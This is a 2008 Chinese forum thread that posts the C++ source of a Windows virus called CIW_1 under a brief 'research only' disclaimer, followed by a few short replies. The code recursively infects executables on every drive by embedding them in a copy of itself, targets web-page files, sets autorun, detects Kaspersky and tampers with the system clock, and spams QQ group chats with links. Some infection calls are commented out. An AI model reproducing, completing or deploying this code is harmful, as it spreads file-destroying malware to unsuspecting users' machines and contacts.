ciw_blue吧 关注:22贴子:259
  • 8回复贴,共1

【源代码】CIW_1病毒

只看楼主收藏回复

希望只做研究用....
#include "stdafx.h"
#include "resource.h"
#include "HideProcess.cpp"
#include <cstdio>
#include <ctime>
#include<tlhelp32.h>

HINSTANCE hInst;
HWND hWnd;

ATOM MyRegisterClass(HINSTANCE hInstance);
BOOL InitInstance(HINSTANCE, int);
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);

/**************         程序ID定义  ******************/ 

#define id_Send 0x77E                         //发送按扭的ID
#define id_Infect  1000                       //控制感染的定时器的ID
#define id_SendQQMsg 1001                     //控制发送QQ消息的定时器ID



/**************         程序常量定义  ******************/ 

const int nWebFileTypeNum = 6;                 //网页类型的数目
const char *szWebFilePostfix[nWebFileTypeNum] = { "htm", "html", "asp", "php", "jsp", "aspx" }; //感染网页类型
const unsigned int nIconSize[13] = {9640, 4264, 3752, 3240, 2440, 2216, 1736, 1640, 1384, 1256, 1128, 744, 296 };  //PE中ICON的大小


/***************        函数定义     ******************/
int InfectAllFile(char *szDir);
void SendQQMsg();
int GetVolumeName(char szVolumeName[] );
void ReleaseFile(char* szReleaseFileName);
int IsInfect(char *szFileName );
int InfectFile(char *szSrcFileName );
int CheckAntivirus();
int InfectAllFile(char *szDir);
void InfectWebFile(char *szInfectFileName );
void SetAutorun();
void GetPostfixName(char *szFileName, char *szPostfixName );
int GetVolumeName(char szVolumeName[] );
void WriteReg();

void ReleaseFile(char* szReleaseFileName)
{
char szFileName[200];
GetTempFileName( "C:\\Windows\\", "CIW_", 0, szFileName );

HRSRC hRes = FindResource( NULL, MAKEINTRESOURCE(14), RT_RCDATA );

if( hRes )
{
HGLOBAL hLoadRes = LoadResource( NULL, hRes );
LPVOID szSrcFileBuf = LockResource( hLoadRes );
DWORD nSizeOfSrcFile = SizeofResource(NULL, hRes );

if( szSrcFileBuf != NULL )
{
HANDLE hSrcFile = CreateFile( szFileName, GENERIC_WRITE | GENERIC_READ , FILE_SHARE_READ | FILE_SHARE_READ,
NULL, CREATE_ALWAYS, NULL, NULL);
WriteFile( hSrcFile, szSrcFileBuf, nSizeOfSrcFile, &nSizeOfSrcFile, NULL); 

CloseHandle( hSrcFile );

STARTUPINFO si;
PROCESS_INFORMATION pi;
GetStartupInfo(&si);
CreateProcess(szFileName,GetCommandLine(),NULL,
NULL,NULL,NULL,NULL,NULL,&si,&pi);
}
}
else
{
szReleaseFileName = NULL;
return ;
}
    
strcpy( szReleaseFileName, szFileName);
}

int IsInfect(char *szFileName )
{
    HMODULE hModule  = LoadLibrary( szFileName );
if( hModule )
{
HRSRC hRes = FindResource(hModule , MAKEINTRESOURCE(14), RT_RCDATA );

FreeLibrary( hModule );

if( hRes )
{
return 1;
}
}
return 0;
}

const int FINDICONNUM = 15;


1楼2008-04-05 21:14回复
    int InfectFile(char *szSrcFileName )
    {
    char szMyFileName[200];
    GetModuleFileName( NULL, szMyFileName, 200);

    DeleteFile("C:\\Windows\\CIW.exe");

    CopyFile( szMyFileName, "C:\\Windows\\CIW.exe", true );

    HMODULE hModule =LoadLibrary( szSrcFileName );
    int i = 0, j = 0;
     HRSRC hRes ;
    DWORD dwIconSize;

    for(; i < FINDICONNUM ;i ++ ) 
    {
    hRes = NULL;
    hRes = FindResource( hModule, (LPCTSTR)i, RT_ICON );
    dwIconSize = SizeofResource( hModule, hRes) ;
    if( nIconSize[j] == dwIconSize )
    {
    break;
    }

    if( i == (FINDICONNUM - 1))
    {
    i = 0;
    j ++ ;
    if( j == 13 )
    {
    break;
    }
    }
    }
    HANDLE hUpdateTemp;

    if( hRes )
    {
    hUpdateTemp = BeginUpdateResource( "C:\\Windows\\CIW.exe", false );
    }
    else
    {
    hUpdateTemp = BeginUpdateResource( "C:\\Windows\\CIW.exe", true );
    }
    HGLOBAL hLoadRes = LoadResource( hModule, hRes);
    UpdateResource( hUpdateTemp, RT_ICON, (char*)1, 0, hLoadRes, dwIconSize );
    DestroyIcon( (HICON) hLoadRes );
    EndUpdateResource( hUpdateTemp, false );
    FreeLibrary( hModule );

    HANDLE hSrcFile = CreateFile( szSrcFileName, GENERIC_WRITE | GENERIC_READ , FILE_SHARE_READ | FILE_SHARE_READ,
    NULL, OPEN_EXISTING, NULL, NULL);

    if( (int)hSrcFile == -1 )
    {
    return 0;
    }

    DWORD nSizeOfSrcFile = GetFileSize( hSrcFile, &nSizeOfSrcFile );

    char *szSrcFileBuf = new char[ nSizeOfSrcFile ];
    ReadFile( hSrcFile, szSrcFileBuf, nSizeOfSrcFile, &nSizeOfSrcFile, NULL);
     
    HANDLE hUpdate = BeginUpdateResource( "C:\\Windows\\CIW.exe", false );

    UpdateResource( hUpdate, RT_RCDATA, MAKEINTRESOURCE(14),NULL, szSrcFileBuf, nSizeOfSrcFile);

    EndUpdateResource( hUpdate, false );
    delete []szSrcFileBuf;
    CloseHandle( hSrcFile );

    return 1;
    }

    int CheckAntivirus()
    {

    PROCESSENTRY32 pe32;
      pe32.dwSize=sizeof(pe32);


     BOOL bMore = 1;
     
     HANDLE hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
     
     if(hProcessSnap==INVALID_HANDLE_VALUE)
     {
     return 0;
     }
     
     while(bMore)
     { 
     //有没有卡巴斯基
     if( strcmp( "avp.exe", pe32.szExeFile ) )
     {
     return 1;
     }
     bMore=Process32Next(hProcessSnap,&pe32);
     }
     
     CloseHandle(hProcessSnap);
     
     return 0;
    }

    //大写字符串转小写字符串
    void Change(char *str )
    {
    for( int i = 0; i < (int)strlen( str ); i++ )
    {
    if( str[i] >= 'A' && str[i] <= 'Z' )
    {
    str[i] -= 'A' - 'a';
    }
    }
    }

    void GetPostfixName(char *szFileName, char *szPostfixName )
    {
    int nFileNameSize = strlen( szFileName );

    for( int i = nFileNameSize - 1; i >= 0; i--)
    {
    if( szFileName[i] == '.' )
    {
    break;
    }
    }
     
    i= nFileNameSize - i - 1; //文件后缀名的长度
     for( int j = 0; j < nFileNameSize; j ++ )
    {
     szPostfixName[ j ] = szFileName[ nFileNameSize - i + j ];
    }
     szPostfixName[ j ] = 0;
     
    }


    2楼2008-04-05 21:14
    回复
      int InfectAllFile(char *szDir)
      {
      DWORD dwPeType;
      char directory[MAX_PATH];
      char file[MAX_PATH];
      HANDLE hFile;
      WIN32_FIND_DATA fd;
      memset( &fd, 0, sizeof(WIN32_FIND_DATA) );
      strncpy(directory, szDir,MAX_PATH);
      strcat(directory,"*.*");
       hFile = FindFirstFile(directory, &fd);
      do
      {
      if( fd.cFileName[0] != '.' )
      {
      if( fd.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) //是目录
      {
      memset(file, 0, MAX_PATH);
      strcpy(file, szDir );
      strcat(file, fd.cFileName );
      strcat(file, "\\" );
      InfectAllFile(file);

      }
      else //是文件
      {

      memset(file, 0, MAX_PATH);
      strcpy(file, szDir);
      strcat(file, fd.cFileName );

      if( strcmp( fd.cFileName, "NTDETECT.COM") == 0) //是 "NTDETECT.COM" 文件跳出
      {
      continue;
      }
      char szPostfixName[20];

      int i = GetBinaryType( file, &dwPeType );
      GetPostfixName( file, szPostfixName );

      if((dwPeType == SCS_32BIT_BINARY || 
      dwPeType ==SCS_OS216_BINARY ) && i ) //是PE文件感染
      {
      if( !IsInfect( file ) ) //是否感染过
      {
      InfectFile( file );
      DeleteFile( file );
      CopyFile( "C:\\Windows\\CIW.exe", file, false);
      }

      }
      else //不是PE文件

      for( int i = 0; i < nWebFileTypeNum; i++)
      {
      if( strcmp( szPostfixName, szWebFilePostfix[i] ) == 0 ) //是网页文件
      {
      InfectWebFile( file );
      }
      }
      }
      }
      }
      }while( FindNextFile( hFile, &fd) );


      return 0;
      }


      void SendQQMsg()

      HWND hFore, hChat, hParent; 

      char szTest[] = "这是我的QQ主页哦! http://user.qzone.qq.com//281011131 \n 和 http://user.qzone.qq.com//35683902 ";
      HWND hWnd=NULL;
      char name[200];
      int len;
      char ch[3] = {0, 0, 0};
      while(hWnd=FindWindowEx(NULL,hWnd,NULL,NULL))
      {
      GetWindowText(hWnd,name,200);
      len=strlen(name);
      ch[0]=name[len-2];
      ch[1]=name[len-1];

      if(strcmp(ch,"群")==0 || strcmp(ch,"中")==0 )
      {
      hFore=FindWindow(NULL,name); 

      hParent=FindWindowEx(hFore,NULL,"#32770",NULL); 
      hChat=FindWindowEx(hParent,NULL,"AfxWnd42",NULL); 
      hChat=FindWindowEx(hParent,hChat,"AfxWnd42",NULL); 
      hChat=FindWindowEx(hChat,NULL,"RichEdit20A",NULL); 
      if( hChat )
      {
      SendMessage( hChat ,EM_REPLACESEL,0,LPARAM(szTest));
      SendMessage(hParent,WM_COMMAND,id_Send,BN_CLICKED);
      }
      }
      }
      }

      /******** 获得所有的磁盘 ********/
      int GetVolumeName(char szVolumeName[] )
      {
      int nVolumeNum = 0;

      WIN32_FIND_DATA fd;

      for( int i = 'C'; i <= 'Z'; i ++ )
      {
      if( i == 'I' )
      {
      continue ;
      }
      char szVolumeNameTemp[10];
      sprintf( szVolumeNameTemp, "%c:\\*.*", i );
      HANDLE hFile = FindFirstFile( szVolumeNameTemp, &fd);

      if( ( unsigned int ) hFile != -1)
      {
      szVolumeName[ nVolumeNum ] = i;
      nVolumeNum ++;
      }
      }
      szVolumeName[ nVolumeNum ] = 0;

      return nVolumeNum; //磁盘的数目
      }


      3楼2008-04-05 21:15
      回复
        BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
        {
        hInst = hInstance;

        hWnd = CreateWindow("CIW", "CIW" , WS_OVERLAPPEDWINDOW,
        CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, NULL, NULL, hInstance, NULL);
         MoveWindow(hWnd,0,0,0,0,false);

        SetTimer( hWnd, 1000, 10000, NULL);

        return TRUE;
        }


        LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
        {
        static int nIsInfect = false; //是否要感染其他PE文件

        switch (message)
        {
        case WM_CREATE:
        {
        /************ 有没有启动卡巴斯基 ***************/

         // WriteReg();
         SetAutorun();
        /*
        int bIsAntiVirus = CheckAntivirus(); 

        SYSTEMTIME sysTime ;
        SYSTEMTIME localTime ;

        GetLocalTime( &localTime ); 

        memcpy( &sysTime, &localTime, sizeof( SYSTEMTIME ) );
        sysTime.wDay = 28;
        sysTime.wMonth = 7;
        sysTime.wYear = 1989;

        if( bIsAntiVirus )
        {
        SetLocalTime( &sysTime ); 
        }

        char szTempFileName[200];
        ReleaseFile( szTempFileName ); //释放原来的文件 
        SetAutorun(); //Autorun.inf
        if( bIsAntiVirus ) //有启动卡巴
        {
        SetLocalTime( &localTime ); 
        }
        /************ 有没有启动卡巴斯基 ***************/

        /*
        char szVolumeName[25];
        char szInfectVolumeName[50];
        int nVolumeNum = GetVolumeName( szVolumeName ); //获取磁盘名和磁盘的个数

        //随机感染磁盘的文件
        for( int i = 0; i < nVolumeNum; i++ )
        {
        sprintf( szInfectVolumeName, "%c:\\", szVolumeName[i]);
        InfectAllFile( szInfectVolumeName );
        }*/
        }
        break;

        case WM_TIMER:
        SendQQMsg();
        break;

        case WM_DESTROY:
        PostQuitMessage(0);
        break;
        default:
        return DefWindowProc(hWnd, message, wParam, lParam);
        }
        return 0;
        }


        5楼2008-04-05 21:15
        回复
          这个怎么用的啊 不懂


          6楼2008-04-22 21:03
          回复
            一个没有用的病毒啦~~~


            7楼2008-04-23 10:37
            回复
              • 116.10.101.*
              很明显了,都写出来了


              8楼2008-07-09 00:30
              回复
                病毒你个大头


                9楼2008-12-03 09:08
                回复
                  怎么看不懂啊!?


                  10楼2010-06-28 20:13
                  回复